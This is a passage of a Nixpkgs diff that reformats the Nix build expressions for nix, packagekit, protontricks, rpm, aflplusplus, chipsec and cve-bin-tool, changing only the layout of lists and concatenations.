index 144f75a61331..3ce3f2938d89 100644
--- a/pkgs/tools/package-management/nix/modular/packaging/components.nix
+++ b/pkgs/tools/package-management/nix/modular/packaging/components.nix
@@ -44,12 +44,12 @@ let
     preConfigure =
       prevAttrs.preConfigure or ""
       +
-        # Update the repo-global .version file.
-        # Symlink ./.version points there, but by default only workDir is writable.
-        ''
-          chmod u+w ./.version
-          echo ${finalAttrs.version} > ./.version
-        '';
+      # Update the repo-global .version file.
+      # Symlink ./.version points there, but by default only workDir is writable.
+      ''
+        chmod u+w ./.version
+        echo ${finalAttrs.version} > ./.version
+      '';
   };
 
   localSourceLayer =
@@ -138,7 +138,8 @@ let
     nativeBuildInputs = [
       meson
       ninja
-    ] ++ prevAttrs.nativeBuildInputs or [ ];
+    ]
+    ++ prevAttrs.nativeBuildInputs or [ ];
     mesonCheckFlags = prevAttrs.mesonCheckFlags or [ ] ++ [
       "--print-errorlogs"
     ];
diff --git a/pkgs/tools/package-management/nix/modular/packaging/everything.nix b/pkgs/tools/package-management/nix/modular/packaging/everything.nix
index 9582c12fbb18..f648507b5a31 100644
--- a/pkgs/tools/package-management/nix/modular/packaging/everything.nix
+++ b/pkgs/tools/package-management/nix/modular/packaging/everything.nix
@@ -50,37 +50,36 @@
 }:
 
 let
-  libs =
-    {
-      inherit
-        nix-util
-        nix-util-c
-        nix-store
-        nix-store-c
-        nix-fetchers
-        nix-expr
-        nix-expr-c
-        nix-flake
-        nix-flake-c
-        nix-main
-        nix-main-c
-        nix-cmd
-        ;
-    }
-    // lib.optionalAttrs (lib.versionAtLeast version "2.29pre") {
-      inherit
-        nix-fetchers-c
-        ;
-    }
-    //
-      lib.optionalAttrs
-        (!stdenv.hostPlatform.isStatic && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
-        {
-          # Currently fails in static build
-          inherit
-            nix-perl-bindings
-            ;
-        };
+  libs = {
+    inherit
+      nix-util
+      nix-util-c
+      nix-store
+      nix-store-c
+      nix-fetchers
+      nix-expr
+      nix-expr-c
+      nix-flake
+      nix-flake-c
+      nix-main
+      nix-main-c
+      nix-cmd
+      ;
+  }
+  // lib.optionalAttrs (lib.versionAtLeast version "2.29pre") {
+    inherit
+      nix-fetchers-c
+      ;
+  }
+  //
+    lib.optionalAttrs
+      (!stdenv.hostPlatform.isStatic && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
+      {
+        # Currently fails in static build
+        inherit
+          nix-perl-bindings
+          ;
+      };
 
   devdoc = buildEnv {
     name = "nix-${nix-cli.version}-devdoc";
@@ -135,20 +134,19 @@ stdenv.mkDerivation (finalAttrs: {
   */
   dontFixup = true;
 
-  checkInputs =
-    [
-      # Make sure the unit tests have passed
-      nix-util-tests.tests.run
-      nix-store-tests.tests.run
-      nix-expr-tests.tests.run
-      nix-fetchers-tests.tests.run
-      nix-flake-tests.tests.run
+  checkInputs = [
+    # Make sure the unit tests have passed
+    nix-util-tests.tests.run
+    nix-store-tests.tests.run
+    nix-expr-tests.tests.run
+    nix-fetchers-tests.tests.run
+    nix-flake-tests.tests.run
 
-      # Make sure the functional tests have passed
-      nix-functional-tests
-    ]
-    ++ lib.optionals
-      (!stdenv.hostPlatform.isStatic && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
+    # Make sure the functional tests have passed
+    nix-functional-tests
+  ]
+  ++
+    lib.optionals (!stdenv.hostPlatform.isStatic && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
       [
         # Perl currently fails in static build
         # TODO: Split out tests into a separate derivation?
@@ -236,26 +234,25 @@ stdenv.mkDerivation (finalAttrs: {
       "out"
       "man"
     ];
-    pkgConfigModules =
-      [
-        "nix-cmd"
-        "nix-expr"
-        "nix-expr-c"
-        "nix-fetchers"
-      ]
-      ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
-        "nix-fetchers-c"
-      ]
-      ++ [
-        "nix-flake"
-        "nix-flake-c"
-        "nix-main"
-        "nix-main-c"
-        "nix-store"
-        "nix-store-c"
-        "nix-util"
-        "nix-util-c"
-      ];
+    pkgConfigModules = [
+      "nix-cmd"
+      "nix-expr"
+      "nix-expr-c"
+      "nix-fetchers"
+    ]
+    ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
+      "nix-fetchers-c"
+    ]
+    ++ [
+      "nix-flake"
+      "nix-flake-c"
+      "nix-main"
+      "nix-main-c"
+      "nix-store"
+      "nix-store-c"
+      "nix-util"
+      "nix-util-c"
+    ];
   };
 
 })
diff --git a/pkgs/tools/package-management/nix/modular/src/libcmd/package.nix b/pkgs/tools/package-management/nix/modular/src/libcmd/package.nix
index f0ad6d0f5012..ad596ad6f518 100644
--- a/pkgs/tools/package-management/nix/modular/src/libcmd/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libcmd/package.nix
@@ -38,7 +38,8 @@ mkMesonLibrary (finalAttrs: {
 
   buildInputs = [
     ({ inherit editline readline; }.${readlineFlavor})
-  ] ++ lib.optional enableMarkdown lowdown;
+  ]
+  ++ lib.optional enableMarkdown lowdown;
 
   propagatedBuildInputs = [
     nix-util
diff --git a/pkgs/tools/package-management/nix/modular/src/libexpr/package.nix b/pkgs/tools/package-management/nix/modular/src/libexpr/package.nix
index 5ff60bbf9c1b..d343ec01196c 100644
--- a/pkgs/tools/package-management/nix/modular/src/libexpr/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libexpr/package.nix
@@ -51,13 +51,15 @@ mkMesonLibrary (finalAttrs: {
     nix-util
     nix-store
     nix-fetchers
-  ] ++ finalAttrs.passthru.externalPropagatedBuildInputs;
+  ]
+  ++ finalAttrs.passthru.externalPropagatedBuildInputs;
 
   # Hack for sake of the dev shell
   passthru.externalPropagatedBuildInputs = [
     boost
     nlohmann_json
-  ] ++ lib.optional enableGC boehmgc;
+  ]
+  ++ lib.optional enableGC boehmgc;
 
   mesonFlags = [
     (lib.mesonEnable "gc" enableGC)
diff --git a/pkgs/tools/package-management/nix/modular/src/libfetchers-tests/package.nix b/pkgs/tools/package-management/nix/modular/src/libfetchers-tests/package.nix
index 54766cc52010..132e4c1da99b 100644
--- a/pkgs/tools/package-management/nix/modular/src/libfetchers-tests/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libfetchers-tests/package.nix
@@ -25,19 +25,18 @@ mkMesonExecutable (finalAttrs: {
 
   workDir = ./.;
 
-  buildInputs =
-    [
-      nix-fetchers
-      nix-store-test-support
-      rapidcheck
-      gtest
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
-      nix-fetchers-c
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "2.27") [
-      libgit2
-    ];
+  buildInputs = [
+    nix-fetchers
+    nix-store-test-support
+    rapidcheck
+    gtest
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
+    nix-fetchers-c
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "2.27") [
+    libgit2
+  ];
 
   mesonFlags = [
   ];
diff --git a/pkgs/tools/package-management/nix/modular/src/libflake-c/package.nix b/pkgs/tools/package-management/nix/modular/src/libflake-c/package.nix
index e2d54f827ef8..bbea479049c0 100644
--- a/pkgs/tools/package-management/nix/modular/src/libflake-c/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libflake-c/package.nix
@@ -18,17 +18,16 @@ mkMesonLibrary (finalAttrs: {
 
   workDir = ./.;
 
-  propagatedBuildInputs =
-    [
-      nix-expr-c
-      nix-store-c
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
-      nix-fetchers-c
-    ]
-    ++ [
-      nix-flake
-    ];
+  propagatedBuildInputs = [
+    nix-expr-c
+    nix-store-c
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "2.29pre") [
+    nix-fetchers-c
+  ]
+  ++ [
+    nix-flake
+  ];
 
   mesonFlags = [
   ];
diff --git a/pkgs/tools/package-management/nix/modular/src/libstore/package.nix b/pkgs/tools/package-management/nix/modular/src/libstore/package.nix
index e005000a737b..8fe7376f246f 100644
--- a/pkgs/tools/package-management/nix/modular/src/libstore/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libstore/package.nix
@@ -30,31 +30,29 @@ mkMesonLibrary (finalAttrs: {
 
   nativeBuildInputs = lib.optional embeddedSandboxShell unixtools.hexdump;
 
-  buildInputs =
-    [
-      boost
-      curl
-      sqlite
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libseccomp
-    # There have been issues building these dependencies
-    ++ lib.optional (
-      stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)
-    ) aws-sdk-cpp;
+  buildInputs = [
+    boost
+    curl
+    sqlite
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libseccomp
+  # There have been issues building these dependencies
+  ++ lib.optional (
+    stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)
+  ) aws-sdk-cpp;
 
   propagatedBuildInputs = [
     nix-util
     nlohmann_json
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux)
-      (lib.mesonBool "embedded-sandbox-shell" embeddedSandboxShell)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
-    ];
+  mesonFlags = [
+    (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux)
+    (lib.mesonBool "embedded-sandbox-shell" embeddedSandboxShell)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
+  ];
 
   env = lib.optionalAttrs (!lib.versionAtLeast version "2.27") {
     # Needed for Meson to find Boost.
diff --git a/pkgs/tools/package-management/nix/modular/src/libutil/package.nix b/pkgs/tools/package-management/nix/modular/src/libutil/package.nix
index 3e96aa0660c8..5190a3dd9f0d 100644
--- a/pkgs/tools/package-management/nix/modular/src/libutil/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/libutil/package.nix
@@ -23,18 +23,17 @@ mkMesonLibrary (finalAttrs: {
 
   workDir = ./.;
 
-  buildInputs =
-    [
-      brotli
-    ]
-    ++ lib.optional (lib.versionAtLeast version "2.27") [
-      libblake3
-    ]
-    ++ [
-      libsodium
-      openssl
-    ]
-    ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid;
+  buildInputs = [
+    brotli
+  ]
+  ++ lib.optional (lib.versionAtLeast version "2.27") [
+    libblake3
+  ]
+  ++ [
+    libsodium
+    openssl
+  ]
+  ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid;
 
   propagatedBuildInputs = [
     boost
diff --git a/pkgs/tools/package-management/nix/modular/src/perl/package.nix b/pkgs/tools/package-management/nix/modular/src/perl/package.nix
index 5c788ccdd8cd..f425146fbe33 100644
--- a/pkgs/tools/package-management/nix/modular/src/perl/package.nix
+++ b/pkgs/tools/package-management/nix/modular/src/perl/package.nix
@@ -27,7 +27,8 @@ perl.pkgs.toPerlModule (
 
     buildInputs = [
       nix-store
-    ] ++ finalAttrs.passthru.externalBuildInputs;
+    ]
+    ++ finalAttrs.passthru.externalBuildInputs;
 
     # Hack for sake of the dev shell
     passthru.externalBuildInputs = [
diff --git a/pkgs/tools/package-management/nix/modular/tests/functional/package.nix b/pkgs/tools/package-management/nix/modular/tests/functional/package.nix
index 333149208c21..c6963ba3298a 100644
--- a/pkgs/tools/package-management/nix/modular/tests/functional/package.nix
+++ b/pkgs/tools/package-management/nix/modular/tests/functional/package.nix
@@ -35,25 +35,24 @@ mkMesonDerivation (
     workDir = ./.;
 
     # Hack for sake of the dev shell
-    passthru.externalNativeBuildInputs =
-      [
-        meson
-        ninja
-        pkg-config
+    passthru.externalNativeBuildInputs = [
+      meson
+      ninja
+      pkg-config
 
-        jq
-        git
-        mercurial
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        # For various sandboxing tests that needs a statically-linked shell,
-        # etc.
-        busybox-sandbox-shell
-        # For Overlay FS tests need `mount`, `umount`, and `unshare`.
-        # For `script` command (ensuring a TTY)
-        # TODO use `unixtools` to be precise over which executables instead?
-        util-linux
-      ];
+      jq
+      git
+      mercurial
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      # For various sandboxing tests that needs a statically-linked shell,
+      # etc.
+      busybox-sandbox-shell
+      # For Overlay FS tests need `mount`, `umount`, and `unshare`.
+      # For `script` command (ensuring a TTY)
+      # TODO use `unixtools` to be precise over which executables instead?
+      util-linux
+    ];
 
     nativeBuildInputs = finalAttrs.passthru.externalNativeBuildInputs ++ [
       nix-cli
diff --git a/pkgs/tools/package-management/nix/nix-perl.nix b/pkgs/tools/package-management/nix/nix-perl.nix
index 38478c79c0d7..828255f5453a 100644
--- a/pkgs/tools/package-management/nix/nix-perl.nix
+++ b/pkgs/tools/package-management/nix/nix-perl.nix
@@ -54,29 +54,29 @@ stdenv.mkDerivation (finalAttrs: {
     nix
     perl
     xz
-  ] ++ lib.optional atLeast226 libarchive;
+  ]
+  ++ lib.optional atLeast226 libarchive;
 
   # Not cross-safe since Nix checks for curl/perl via
   # NEED_PROG/find_program, but both seem to be needed at runtime
   # as well.
-  nativeBuildInputs =
-    [
-      pkg-config
-      perl
-      curl
-    ]
-    ++ (
-      if atLeast223 then
-        [
-          meson
-          ninja
-        ]
-      else
-        [
-          autoconf-archive
-          autoreconfHook
-        ]
-    );
+  nativeBuildInputs = [
+    pkg-config
+    perl
+    curl
+  ]
+  ++ (
+    if atLeast223 then
+      [
+        meson
+        ninja
+      ]
+    else
+      [
+        autoconf-archive
+        autoreconfHook
+      ]
+  );
 
   # `perlPackages.Test2Harness` is marked broken for Darwin
   doCheck = !stdenv.hostPlatform.isDarwin;
@@ -85,22 +85,21 @@ stdenv.mkDerivation (finalAttrs: {
     perl.pkgs.Test2Harness
   ];
 
-  ${if atLeast223 then "mesonFlags" else "configureFlags"} =
-    [
-      (mkConfigureOption {
-        mesonOption = "dbi_path";
-        autoconfOption = "dbi";
-        value = "${perl.pkgs.DBI}/${perl.libPrefix}";
-      })
-      (mkConfigureOption {
-        mesonOption = "dbd_sqlite_path";
-        autoconfOption = "dbd-sqlite";
-        value = "${perl.pkgs.DBDSQLite}/${perl.libPrefix}";
-      })
-    ]
-    ++ lib.optionals atLeast223 [
-      (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck)
-    ];
+  ${if atLeast223 then "mesonFlags" else "configureFlags"} = [
+    (mkConfigureOption {
+      mesonOption = "dbi_path";
+      autoconfOption = "dbi";
+      value = "${perl.pkgs.DBI}/${perl.libPrefix}";
+    })
+    (mkConfigureOption {
+      mesonOption = "dbd_sqlite_path";
+      autoconfOption = "dbd-sqlite";
+      value = "${perl.pkgs.DBDSQLite}/${perl.libPrefix}";
+    })
+  ]
+  ++ lib.optionals atLeast223 [
+    (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck)
+  ];
 
   preConfigure = "export NIX_STATE_DIR=$TMPDIR";
 
diff --git a/pkgs/tools/package-management/packagekit/default.nix b/pkgs/tools/package-management/packagekit/default.nix
index 628f1ab65155..379ca62ac758 100644
--- a/pkgs/tools/package-management/packagekit/default.nix
+++ b/pkgs/tools/package-management/packagekit/default.nix
@@ -45,19 +45,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-8sgvD6pZ2n4Du44kTPsvYtSYpkMKCpfxeSrGjWeSw50=";
   };
 
-  buildInputs =
-    [
-      glib
-      polkit
-      python3
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gtk3
-      sqlite
-      boost
-    ]
-    ++ lib.optional enableSystemd systemd
-    ++ lib.optional enableBashCompletion bash-completion;
+  buildInputs = [
+    glib
+    polkit
+    python3
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gtk3
+    sqlite
+    boost
+  ]
+  ++ lib.optional enableSystemd systemd
+  ++ lib.optional enableBashCompletion bash-completion;
   nativeBuildInputs = [
     gobject-introspection
     glib
@@ -73,23 +72,22 @@ stdenv.mkDerivation rec {
     ninja
   ];
 
-  mesonFlags =
-    [
-      (if enableSystemd then "-Dsystemd=true" else "-Dsystem=false")
-      # often fails to build with nix updates
-      # and remounts /nix/store as rw
-      # https://github.com/NixOS/nixpkgs/issues/177946
-      #"-Dpackaging_backend=nix"
-      "-Ddbus_sys=${placeholder "out"}/share/dbus-1/system.d"
-      "-Ddbus_services=${placeholder "out"}/share/dbus-1/system-services"
-      "-Dsystemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-      "-Dcron=false"
-      "-Dgtk_doc=true"
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-    ]
-    ++ lib.optional (!enableBashCompletion) "-Dbash_completion=false"
-    ++ lib.optional (!enableCommandNotFound) "-Dbash_command_not_found=false";
+  mesonFlags = [
+    (if enableSystemd then "-Dsystemd=true" else "-Dsystem=false")
+    # often fails to build with nix updates
+    # and remounts /nix/store as rw
+    # https://github.com/NixOS/nixpkgs/issues/177946
+    #"-Dpackaging_backend=nix"
+    "-Ddbus_sys=${placeholder "out"}/share/dbus-1/system.d"
+    "-Ddbus_services=${placeholder "out"}/share/dbus-1/system-services"
+    "-Dsystemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+    "-Dcron=false"
+    "-Dgtk_doc=true"
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+  ]
+  ++ lib.optional (!enableBashCompletion) "-Dbash_completion=false"
+  ++ lib.optional (!enableCommandNotFound) "-Dbash_command_not_found=false";
 
   postPatch = ''
     # HACK: we want packagekit to look in /etc for configs but install
diff --git a/pkgs/tools/package-management/protontricks/default.nix b/pkgs/tools/package-management/protontricks/default.nix
index 5aa70a2d9527..e2a892a12269 100644
--- a/pkgs/tools/package-management/protontricks/default.nix
+++ b/pkgs/tools/package-management/protontricks/default.nix
@@ -53,18 +53,17 @@ buildPythonApplication rec {
     pillow
   ];
 
-  makeWrapperArgs =
-    [
-      "--prefix PATH : ${
-        lib.makeBinPath [
-          winetricks
-          yad
-        ]
-      }"
-      # Steam Runtime does not work outside of steam-run, so don't use it
-      "--set STEAM_RUNTIME 0"
-    ]
-    ++ lib.optional (extraCompatPaths != "") "--set STEAM_EXTRA_COMPAT_TOOLS_PATHS ${extraCompatPaths}";
+  makeWrapperArgs = [
+    "--prefix PATH : ${
+      lib.makeBinPath [
+        winetricks
+        yad
+      ]
+    }"
+    # Steam Runtime does not work outside of steam-run, so don't use it
+    "--set STEAM_RUNTIME 0"
+  ]
+  ++ lib.optional (extraCompatPaths != "") "--set STEAM_EXTRA_COMPAT_TOOLS_PATHS ${extraCompatPaths}";
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/tools/package-management/rpm/default.nix b/pkgs/tools/package-management/rpm/default.nix
index 4cd1d518868e..94ac9d77b37d 100644
--- a/pkgs/tools/package-management/rpm/default.nix
+++ b/pkgs/tools/package-management/rpm/default.nix
@@ -44,25 +44,23 @@ stdenv.mkDerivation rec {
     hash = "sha256-UmR+EmODZFM6tnHLyOSFyW+fCIidk/4O0QSmYyZhEk8=";
   };
 
-  postPatch =
-    ''
-      sed -i 's#''${Python3_SITEARCH}#${placeholder "out"}/${python3.sitePackages}#' python/CMakeLists.txt
-      sed -i 's#PATHS ENV MYPATH#PATHS ENV PATH#' CMakeLists.txt
-    ''
-    # clang: error: unknown argument: '-fhardened'
-    + lib.optionalString stdenv.cc.isClang ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "-fhardened" ""
-    '';
+  postPatch = ''
+    sed -i 's#''${Python3_SITEARCH}#${placeholder "out"}/${python3.sitePackages}#' python/CMakeLists.txt
+    sed -i 's#PATHS ENV MYPATH#PATHS ENV PATH#' CMakeLists.txt
+  ''
+  # clang: error: unknown argument: '-fhardened'
+  + lib.optionalString stdenv.cc.isClang ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "-fhardened" ""
+  '';
 
-  outputs =
-    [
-      "out"
-      "man"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "dev"
-    ];
+  outputs = [
+    "out"
+    "man"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "dev"
+  ];
   separateDebugInfo = true;
 
   nativeBuildInputs = [
@@ -71,68 +69,68 @@ stdenv.mkDerivation rec {
     autoconf
     python3
     gettext
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ bubblewrap ];
-  buildInputs =
-    [
-      bzip2
-      zlib
-      zstd
-      file
-      libarchive
-      xz
-      lua
-      sqlite
-      openssl
-      readline
-      rpm-sequoia
-      gnupg
-    ]
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      audit
-      systemd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_13
-      (darwinMinVersionHook "13.0")
-    ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ bubblewrap ];
+  buildInputs = [
+    bzip2
+    zlib
+    zstd
+    file
+    libarchive
+    xz
+    lua
+    sqlite
+    openssl
+    readline
+    rpm-sequoia
+    gnupg
+  ]
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    audit
+    systemd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_13
+    (darwinMinVersionHook "13.0")
+  ];
 
   patches = lib.optionals stdenv.hostPlatform.isDarwin [
     ./sighandler_t-macos.patch
   ];
 
-  cmakeFlags =
-    [
-      "-DWITH_DBUS=OFF"
-      # libselinux is missing propagatedBuildInputs
-      "-DWITH_SELINUX=OFF"
+  cmakeFlags = [
+    "-DWITH_DBUS=OFF"
+    # libselinux is missing propagatedBuildInputs
+    "-DWITH_SELINUX=OFF"
 
-      "-DCMAKE_INSTALL_LOCALSTATEDIR=/var"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DMKTREE_BACKEND=rootfs"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      # Test suite rely on either podman or bubblewrap
-      "-DENABLE_TESTSUITE=OFF"
+    "-DCMAKE_INSTALL_LOCALSTATEDIR=/var"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DMKTREE_BACKEND=rootfs"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    # Test suite rely on either podman or bubblewrap
+    "-DENABLE_TESTSUITE=OFF"
 
-      "-DWITH_CAP=OFF"
-      "-DWITH_AUDIT=OFF"
-      "-DWITH_ACL=OFF"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DWITH_LIBELF=OFF"
-      "-DWITH_LIBDW=OFF"
-    ]
-    ++ lib.optionals disableUnshare [
-      "-DHAVE_UNSHARE=OFF"
-    ];
+    "-DWITH_CAP=OFF"
+    "-DWITH_AUDIT=OFF"
+    "-DWITH_ACL=OFF"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DWITH_LIBELF=OFF"
+    "-DWITH_LIBDW=OFF"
+  ]
+  ++ lib.optionals disableUnshare [
+    "-DHAVE_UNSHARE=OFF"
+  ];
 
   # rpm/rpmlib.h includes popt.h, and then the pkg-config file mentions these as linkage requirements
   propagatedBuildInputs = [
     popt
-  ] ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform elfutils) elfutils;
+  ]
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform elfutils) elfutils;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/security/aflplusplus/default.nix b/pkgs/tools/security/aflplusplus/default.nix
index 6d5db8f1061b..456cc84efbaa 100644
--- a/pkgs/tools/security/aflplusplus/default.nix
+++ b/pkgs/tools/security/aflplusplus/default.nix
@@ -61,7 +61,8 @@ let
       python3
       gmp
       llvmPackages.bintools
-    ] ++ lib.optional (wine != null) python3.pkgs.wrapPython;
+    ]
+    ++ lib.optional (wine != null) python3.pkgs.wrapPython;
 
     # Flag is already set by package and causes some compiler warnings.
     # warning: "_FORTIFY_SOURCE" redefined
@@ -115,50 +116,49 @@ let
       runHook postBuild
     '';
 
-    postInstall =
-      ''
-        # remove afl-clang(++) which are just symlinks to afl-clang-fast
-        rm $out/bin/afl-clang $out/bin/afl-clang++
+    postInstall = ''
+      # remove afl-clang(++) which are just symlinks to afl-clang-fast
+      rm $out/bin/afl-clang $out/bin/afl-clang++
 
-        # the makefile neglects to install unsigaction
-        cp qemu_mode/unsigaction/unsigaction*.so $out/lib/afl/
+      # the makefile neglects to install unsigaction
+      cp qemu_mode/unsigaction/unsigaction*.so $out/lib/afl/
 
-        # Install the custom QEMU emulator for binary blob fuzzing.
-        ln -s ${aflplusplus-qemu}/bin/${qemu-exe-name} $out/bin/afl-qemu-trace
+      # Install the custom QEMU emulator for binary blob fuzzing.
+      ln -s ${aflplusplus-qemu}/bin/${qemu-exe-name} $out/bin/afl-qemu-trace
 
-        # give user a convenient way of accessing libcompconv.so, libdislocator.so, libtokencap.so
-        cat > $out/bin/get-afl-qemu-libcompcov-so <<END
-        #!${stdenv.shell}
-        echo $out/lib/afl/libcompcov.so
-        END
-        chmod +x $out/bin/get-afl-qemu-libcompcov-so
-        ln -s ${libdislocator}/bin/get-libdislocator-so $out/bin/
-        ln -s ${libtokencap}/bin/get-libtokencap-so $out/bin/
+      # give user a convenient way of accessing libcompconv.so, libdislocator.so, libtokencap.so
+      cat > $out/bin/get-afl-qemu-libcompcov-so <<END
+      #!${stdenv.shell}
+      echo $out/lib/afl/libcompcov.so
+      END
+      chmod +x $out/bin/get-afl-qemu-libcompcov-so
+      ln -s ${libdislocator}/bin/get-libdislocator-so $out/bin/
+      ln -s ${libtokencap}/bin/get-libtokencap-so $out/bin/
 
-        # Install the cgroups wrapper for asan-based fuzzing.
-        cp utils/asan_cgroups/limit_memory.sh $out/bin/afl-cgroup
-        chmod +x $out/bin/afl-cgroup
-        substituteInPlace $out/bin/afl-cgroup \
-          --replace-fail "cgcreate" "${libcgroup}/bin/cgcreate" \
-          --replace-fail "cgexec"   "${libcgroup}/bin/cgexec" \
-          --replace-fail "cgdelete" "${libcgroup}/bin/cgdelete"
+      # Install the cgroups wrapper for asan-based fuzzing.
+      cp utils/asan_cgroups/limit_memory.sh $out/bin/afl-cgroup
+      chmod +x $out/bin/afl-cgroup
+      substituteInPlace $out/bin/afl-cgroup \
+        --replace-fail "cgcreate" "${libcgroup}/bin/cgcreate" \
+        --replace-fail "cgexec"   "${libcgroup}/bin/cgexec" \
+        --replace-fail "cgdelete" "${libcgroup}/bin/cgdelete"
 
-        patchShebangs $out/bin
+      patchShebangs $out/bin
 
-      ''
-      + lib.optionalString (wine != null) ''
-        substitute afl-wine-trace $out/bin/afl-wine-trace \
-          --replace-fail "qemu_mode/unsigaction" "$out/lib/afl"
-        chmod +x $out/bin/afl-wine-trace
+    ''
+    + lib.optionalString (wine != null) ''
+      substitute afl-wine-trace $out/bin/afl-wine-trace \
+        --replace-fail "qemu_mode/unsigaction" "$out/lib/afl"
+      chmod +x $out/bin/afl-wine-trace
 
-        # qemu needs to be fed ELFs, not wrapper scripts, so we have to cheat a bit if we
-        # detect a wrapped wine
-        for winePath in ${wine}/bin/.wine ${wine}/bin/wine; do
-          if [ -x $winePath ]; then break; fi
-        done
-        makeWrapperArgs="--set-default 'AFL_WINE_PATH' '$winePath'" \
-          wrapPythonProgramsIn $out/bin ${python3.pkgs.pefile}
-      '';
+      # qemu needs to be fed ELFs, not wrapper scripts, so we have to cheat a bit if we
+      # detect a wrapped wine
+      for winePath in ${wine}/bin/.wine ${wine}/bin/wine; do
+        if [ -x $winePath ]; then break; fi
+      done
+      makeWrapperArgs="--set-default 'AFL_WINE_PATH' '$winePath'" \
+        wrapPythonProgramsIn $out/bin ${python3.pkgs.pefile}
+    '';
 
     nativeInstallCheckInputs = [
       perl
diff --git a/pkgs/tools/security/chipsec/default.nix b/pkgs/tools/security/chipsec/default.nix
index 086a59d7a781..1f187118a086 100644
--- a/pkgs/tools/security/chipsec/default.nix
+++ b/pkgs/tools/security/chipsec/default.nix
@@ -34,14 +34,13 @@ python3.pkgs.buildPythonApplication rec {
 
   KSRC = lib.optionalString withDriver "${kernel.dev}/lib/modules/${kernel.modDirVersion}/build";
 
-  nativeBuildInputs =
-    [
-      nasm
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.buildPlatform elfutils) [
-      elfutils
-    ]
-    ++ lib.optionals withDriver kernel.moduleBuildDependencies;
+  nativeBuildInputs = [
+    nasm
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.buildPlatform elfutils) [
+    elfutils
+  ]
+  ++ lib.optionals withDriver kernel.moduleBuildDependencies;
 
   nativeCheckInputs = with python3.pkgs; [
     distro
diff --git a/pkgs/tools/security/cve-bin-tool/default.nix b/pkgs/tools/security/cve-bin-tool/default.nix
index 133e4f525566..1c2913913e4b 100644
--- a/pkgs/tools/security/cve-bin-tool/default.nix
+++ b/pkgs/tools/security/cve-bin-tool/default.nix
@@ -76,7 +76,8 @@ buildPythonApplication rec {
     xmlschema
     zipp
     zstandard
-  ] ++ aiohttp.optional-dependencies.speedups;
+  ]
+  ++ aiohttp.optional-dependencies.speedups;
 
   optional-dependencies = {
     pdf = [ reportlab ];
@@ -90,7 +91,8 @@ buildPythonApplication rec {
   # don't run pytestCheckHook because it wants to open a sqlite database, access the internet, etc
   nativeCheckInputs = [
     versionCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
